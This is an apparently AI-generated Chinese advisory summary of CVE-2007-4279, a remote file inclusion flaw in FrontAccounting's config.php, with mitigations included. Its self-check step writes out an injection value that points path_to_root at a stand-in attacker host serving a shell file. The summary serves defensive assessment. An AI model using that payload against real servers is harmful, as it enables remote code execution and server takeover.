CVE-2007-4279 — 神龙十问 AI 深度分析摘要

🚨 **本质**：FrontAccounting 的 config.php 存在 **PHP 远程文件包含 (RFI)** 漏洞。 💥 **后果**：攻击者可通过构造恶意 URL，在服务器端 **执行任意 PHP 代码**，导致服务器完全沦陷。

🔍 **缺陷点**：`config.php` 未对 `path_to_root` 参数进行严格校验。 ⚠️ **CWE**：数据中未提供具体 CWE ID，但属于典型的 **输入验证缺失** 导致的路径遍历/包含问题。

🎯 **受影响组件**：FrontAccounting 软件。 📦 **特定版本**：**1.12 Build 31** 及可能存在的更早版本。

🕵️ **黑客能力**： 1. **远程代码执行 (RCE)**：注入并运行恶意 PHP 脚本。 2. **权限提升**：获得 Web 服务器进程权限。 3. **数据泄露**：读取或修改数据库及系统文件。

🚪 **利用门槛**：**极低**。 ✅ **无需认证**：描述指出是“远程攻击者”，暗示无需登录即可触发。 ✅ **配置简单**：只需构造包含恶意 URL 的 `path_to_root` 参数即可。

💣 **现成 Exp**：**有**。 📚 **来源**：Exploit-DB 编号 **4269** 提供了利用代码。 🌐 **在野风险**：2007年已公开，属于历史高危漏洞。

🔎 **自查方法**： 1. 扫描目标是否存在 `config.php` 文件。 2. 尝试注入 `path_to_root=http://evil.com/shell.txt?` 等参数，观察是否报错或包含远程内容。 3. 使用支持 RFI 检测的扫描器（如 Nessus, AWVS）进行扫描。

🛡️ **官方修复**：数据中未提供具体补丁链接。 📅 **时间**：2007年8月9日已发布通告，建议升级至 **最新稳定版本** 以修复此问题。

🚧 **临时规避**： 1. **WAF 防护**：配置规则拦截包含 `path_to_root` 且值为 URL 的请求。 2. **访问控制**：限制 `config.php` 的访问权限（如仅允许本地 IP）。 3. **代码审计**：检查并修复 `config.php` 中对 `path_to_root` 的过滤逻辑。

⚡ **优先级**：**极高 (Critical)**。 🔥 **理由**：无需认证的 RCE 漏洞，可直接导致服务器被控。虽然年份久远，但若系统未升级，风险极大。建议 **立即修复**。